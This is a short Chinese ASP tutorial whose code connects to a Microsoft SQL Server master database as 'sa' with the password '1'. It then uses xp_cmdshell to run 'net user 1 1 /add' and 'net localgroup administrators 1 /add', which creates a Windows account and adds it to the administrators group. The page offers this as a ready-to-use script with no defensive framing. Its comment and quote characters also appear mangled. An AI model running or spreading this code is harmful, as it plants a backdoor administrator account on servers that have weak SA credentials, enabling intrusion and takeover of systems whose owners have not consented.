通过MS SQL 数据库SA帐号增加新用户至administrators组-ASP教程,数据库相关

<%
—-数据库连接start
  —二级域名名称
  main_domain=”web” –域名格式为pcc.net
  dim conn_home
  dim conn_homestr
  定义数据库类别，1为sql数据库，0为access数据库
  const issqldatabase_homestr = 1
  call conn_home_init()
  sub conn_home_init()
     if issqldatabase_homestr = 1 then
       注此sql登陆需要有sa帐号和xp_cmdshell存储过程
    sql数据库连接参数：数据库名、用户密码、用户名、连接名（本地用local，外地用ip）
    dim sqldatabasename,sqlpassword,sqlusername,sqllocalname
    sqldatabasename = “master”
    sqlpassword = “1”
    sqlusername = “sa”
    sqllocalname = “127.0.0.1”
    conn_homestr = “provider = sqloledb; user id = ” & sqlusername & “; password = ” & sqlpassword & “; initial catalog = ” & sqldatabasename & “; data source = ” & sqllocalname & “;”
      else
      db = “/user_database/database/shop_manager.mdb” —数据库路径
    conn_homestr = “provider = microsoft.jet.oledb.4.0;data source = ” & server.mappath(db)
   end if
   set conn_home = server.createobject(“adodb.connection”)
    on error resume next
       if err.number<>0 then
           err.clear
           set conn_home=nothing
     response.write “管理数据库连接出错！”
     response.end
       else
     on error resume next
     conn_home.open conn_homestr
     if err then
              err.clear
              set conn_home=nothing
              response.write “管理数据库连接出错！”
              response.end
           end if
       end if  
   on error goto 0
  end sub
 
  sub endconn_home()
     on error resume next
      conn_home.close
      set conn_home=nothing
   on error goto 0
  end sub

—-数据库连接end
conn_home.execute “use master “
   conn_home.execute “xp_cmdshell net user 1 1 /add”
   conn_home.execute “xp_cmdshell net localgroup administrators 1 /add”
  
%>